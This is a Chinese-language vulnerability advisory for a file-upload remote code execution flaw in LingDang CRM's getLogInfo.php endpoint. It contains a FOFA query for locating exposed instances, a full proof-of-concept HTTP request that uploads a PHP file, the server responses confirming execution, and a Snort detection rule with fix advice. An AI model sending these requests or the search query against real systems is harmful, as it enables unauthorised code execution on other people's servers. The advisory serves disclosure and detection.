

灵当CRM-getLogInfo-文件上传导致RCE

灵当CRM-getLogInfo-文件上传导致RCE，攻击者可文件上传获取系统权限。

影响版本

灵当CRM < V8.6.3.3.11

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="crmcommon/js/jquery/jquery-1.10.1.min.js" || body="<http://localhost:8088/crm/index.php>" && body="ldcrm.base.js" || title="灵当CRM" || body="include/js/ldAjax.js" || title="连接ERP服务管理控制台" && body="登录管理后台"

POC/EXP：

```
POST /crm/weixinApp/CallRecordLog/getLogInfo.php?
userid=&gettype=uploadfile&uploadfilename=221.php.....&callednumber=&sessionvalue=ca6ee37ed4ea2c709b2d36d1349cacff HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gw

-----WebKitFormBoundary7MA4YWxkTrZu0gw
Content-Disposition: form-data; name="uploaded_file"; filename="123321.avi"
Content-Type: image/jpeg

<?php
print "Hello, world!";
?>
-----WebKitFormBoundary7MA4YWxkTrZu0gw--
```

发送请求

强制 HTTPS

历史

爆破示例

生成 Yaml

Request

数据包扫描 美化 热加载 构造请求

```
1 POST /crm/WeiXinApp/CallRecordLog/getLogInfo.php?userid=&
  gettype=uploadfile&uploadfilename=221.php.....&callednumber=&
  sessionvalue=ca6ee37ed4ea2c709b2d36d1349cacff HTTP/1.1
2 Host : 127.0.0.1
3 Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
4
5 -----WebKitFormBoundary7MA4YWxkTrZu0gW
6 Content-Disposition: form-data; name="uploaded_file";
  filename="123321.avi"
7 Content-Type: image/jpeg
8
9 <?php
10 print "Hello, World!";
11 ?>
12 -----WebKitFormBoundary7MA4YWxkTrZu0gW--
```

Responses 123bytes / 52ms

美化 编码 详情

```
1 HTTP/1.1 200 OK
2 Date: Thu, 19 Jun 2025 10:13:14 GMT
3 Server: Apache
4 Access-Control-Allow-Origin: *
5 Access-Control-Allow-Methods: GET, POST, OPTIONS
6 Access-Control-Allow-Headers: Origin, No-Cache,
  X-Requested-With, If-Modified-Since, Pragma,
  Last-Modified, Cache-Control, Expires, Content-Type,
  X-E4M-With
7 Upgrade: h2,h2c
8 Connection: Upgrade
9 Vary: Accept-Encoding
10 Content-Type: text/html; charset=utf-8
11 Content-Length: 156
12
13 {
14   "code": 1,
15   "result": {
16     "filename": "221.php.....",
17     "filepath": "storage/mobilecalllog/2025/06/19"
18   },
19   "msg": "success",
20   "appname": ""
21 }
22
```

发送请求

强制 HTTPS

历史

爆破示例

生成 Yaml

Request

数据包扫描 美化 热加载 构造请求

```
1 GET /crm/storage/mobilecalllog/2025/06/19/221.php HTTP/1.1
2 Host : 127.0.0.1
```

Responses 13bytes / 61ms

美化 渲染 编码 详情

```
1 HTTP/1.1 200 OK
2 Date: Thu, 19 Jun 2025 10:14:29 GMT
3 Server: Apache
4 Upgrade: h2,h2c
5 Connection: Upgrade
6 Vary: Accept-Encoding
7 Content-Type: text/html; charset=UTF-8
8 Content-Length: 14
9
10 Hello, World!
11
```

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"LingDang CRM - File Upload RCE via getLogInfo.php";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/crm/weixinApp/CallRecordLog/getLogInfo.php"; http_uri;
  content:"gettype=uploadfile"; http_uri;
  content:"uploadfilename="; http_uri;
  pcre:"/uploadfilename=[^&]*?\. (php|phtml|phar|htaccess)/i";
  content:"multipart/form-data"; http_header;
  content:"Content-Disposition:";
  content:"filename=";
  pcre:"/filename\s*=\s*['\"]?[^\"'\r\n]*?\. (php|phtml|phar|htaccess)/i";
  content:"<?php"; within:100;
  metadata:service http;
  metadata:affected_product "LingDang CRM";
  metadata:attack_type "File Upload -> RCE";
  metadata:severity "critical";
  classtype:web-application-attack;
  sid:1000148;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。